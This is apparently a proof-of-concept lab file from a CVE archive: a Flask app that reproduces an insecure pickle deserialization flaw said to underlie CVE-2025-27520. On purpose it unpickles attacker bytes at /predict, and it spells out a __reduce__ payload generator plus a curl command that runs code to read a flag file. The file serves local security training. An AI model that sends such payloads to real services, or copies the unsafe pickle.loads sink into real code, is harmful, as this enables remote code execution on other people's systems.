4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / app.py PY
# app.py — Day09: nicer landing page + interactive exploit UI (local-only educational lab)
from flask import Flask, request, jsonify, render_template_string
import base64, pickle, html

app = Flask(__name__)

BASE_HTML = """
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1"/>
<title>Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)</title>
<style>
  :root{--bg:#0f1724;--card:#0b1220;--muted:#9aa6bf;--accent:#06b6d4;--glass:rgba(255,255,255,0.03);}
  body{margin:0;font-family:Inter,ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial; background:linear-gradient(180deg,#071024 0%, #0f1724 100%); color:#e6eef6;}
  .wrap{max-width:980px;margin:36px auto;padding:20px;}
  header{display:flex;align-items:center;gap:16px}
  .logo{width:64px;height:64px;border-radius:10px;background:linear-gradient(135deg,var(--accent),#7c3aed);display:flex;align-items:center;justify-content:center;font-weight:700;font-size:18px}
  h1{margin:0;font-size:20px}
  p.lead{color:var(--muted);margin:6px 0 18px}
  .grid{display:grid;grid-template-columns:1fr 420px;gap:18px;margin-top:18px}
  .card{background:var(--card);padding:18px;border-radius:12px;box-shadow:0 6px 18px rgba(2,6,23,0.6);border:1px solid rgba(255,255,255,0.03)}
  pre.cmd{background:var(--glass);padding:12px;border-radius:8px;color:#dff9ff;overflow:auto;font-family:ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", monospace}
  .muted{color:var(--muted);font-size:13px}
  .btn{display:inline-block;padding:8px 12px;border-radius:8px;background:linear-gradient(90deg,var(--accent),#7c3aed);color:#04121a;text-decoration:none;font-weight:600;border:none;cursor:pointer}
  label{display:block;font-size:13px;margin-bottom:6px;color:var(--muted)}
  textarea{width:100%;min-height:140px;background:#031022;border:1px solid rgba(255,255,255,0.03);color:#e6eef6;padding:10px;border-radius:8px;font-family:ui-monospace,monospace}
  .result{white-space:pre-wrap;margin-top:12px;background:#051226;padding:10px;border-radius:8px;border:1px solid rgba(255,255,255,0.02);color:#bfeefc}
  footer{margin-top:18px;color:var(--muted);font-size:13px}
  @media (max-width:940px){ .grid{grid-template-columns:1fr} }
</style>
</head>
<body>
  <div class="wrap">
    <header>
      <div class="logo">D09</div>
      <div>
        <h1>Day 09 — CVE-2025-27520 (BentoML-style insecure deserialization)</h1>
        <p class="lead">Local Docker lab demonstrating insecure Python deserialization (pickle → RCE). Educational only.</p>
      </div>
    </header>

    <div class="grid">
      <section class="card">
        <h3>Overview</h3>
        <p class="muted">This lab intentionally <strong>unpickles</strong> base64-encoded payloads posted to <code>/predict</code>. Insecure deserialization may allow arbitrary code execution (the root cause class of CVE-2025-27520).</p>

        <h4>Quickstart</h4>
        <pre class="cmd">docker build -t day09-bentoml-lab . 
docker run --rm -d -p 8080:8080 --name day09 day09-bentoml-lab
open http://localhost:8080</pre>

        <h4>Manual exploit (host)</h4>
        <p class="muted">Generate a base64 pickle that runs <code>cat /opt/flag.txt</code>, then POST it to <code>/predict</code>:</p>
        <pre class="cmd">python - <<'PY'
import pickle, base64
class R:
  def __reduce__(self):
    import subprocess
    return (subprocess.check_output, (["cat","/opt/flag.txt"],))
print(base64.b64encode(pickle.dumps(R())).decode())
PY
PAYLOAD=$(python gen.sh) # or use the printed value
curl -X POST http://localhost:8080/predict -H "Content-Type: application/json" -d '{"data": "<PAYLOAD>"}' | jq .
        </pre>

        <h4>Notes</h4>
        <p class="muted">This page also provides an interactive form below to POST a payload from your browser (useful when testing locally).</p>
      </section>

      <aside class="card">
        <h3>Interactive tester</h3>
        <label for="b64">paste base64-pickle here</label>
        <textarea id="b64" placeholder="Base64-encoded pickle payload..."></textarea>
        <div style="display:flex;gap:8px;margin-top:8px">
          <button class="btn" id="send">Send to /predict</button>
          <button class="btn" id="getflag" style="background:linear-gradient(90deg,#f97316,#fb7185)">GET /flag</button>
        </div>
        <div id="out" class="result muted" style="display:none"></div>

        <script>
          const out = document.getElementById('out');
          document.getElementById('send').addEventListener('click', async () => {
            out.style.display='block';
            out.textContent = 'sending...';
            const b64 = document.getElementById('b64').value.trim();
            try {
              const res = await fetch('/predict', {
                method:'POST',
                headers:{'Content-Type':'application/json'},
                body: JSON.stringify({data: b64})
              });
              const j = await res.json();
              out.textContent = JSON.stringify(j, null, 2);
            } catch (e) {
              out.textContent = 'error: '+e;
            }
          });
          document.getElementById('getflag').addEventListener('click', async ()=>{
            out.style.display='block';
            out.textContent='fetching /flag...';
            try {
              const r = await fetch('/flag');
              const t = await r.text();
              out.textContent = 'HTTP '+r.status+'\\n\\n'+t;
            } catch(e) {
              out.textContent = 'error: '+e;
            }
          });
        </script>

      </aside>
    </div>

    <footer class="muted">
      <div>Repo: your-day09-repo • Local Docker only • Educational use</div>
    </footer>
  </div>
</body>
</html>
"""

@app.route("/", methods=["GET"])
def index():
    return render_template_string(BASE_HTML)


@app.route("/predict", methods=["POST"])
def predict():
    """
    Accepts JSON { "data": "<base64-pickle>" } OR a form field 'data' (so the interactive page can POST).
    WARNING: This endpoint intentionally unpickles attacker-provided bytes for educational demonstration.
    """
    try:
        # accept both JSON and form POSTs
        if request.is_json:
            j = request.get_json(force=True)
            b64 = j.get("data", "")
        else:
            b64 = request.form.get("data", "") or request.values.get("data", "")

        if not b64:
            return jsonify({"status": "error", "error": "missing data"}), 400

        raw = base64.b64decode(b64)
        # VULNERABLE SINK (educational): unsafe unpickling
        obj = pickle.loads(raw)

        # make result printable/safe for JSON
        if isinstance(obj, (bytes, bytearray)):
            result = obj.decode(errors="ignore")
        else:
            result = repr(obj)
        return jsonify({"status": "ok", "result": result})
    except Exception as e:
        return jsonify({"status": "error", "error": str(e)}), 400


@app.route("/flag", methods=["GET"])
def flag():
    # instructors-only helper (local). Returns the flag file contents if present.
    try:
        with open("/opt/flag.txt", "r") as f:
            return f.read(), 200, {"Content-Type": "text/plain"}
    except Exception:
        return "flag missing", 404


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)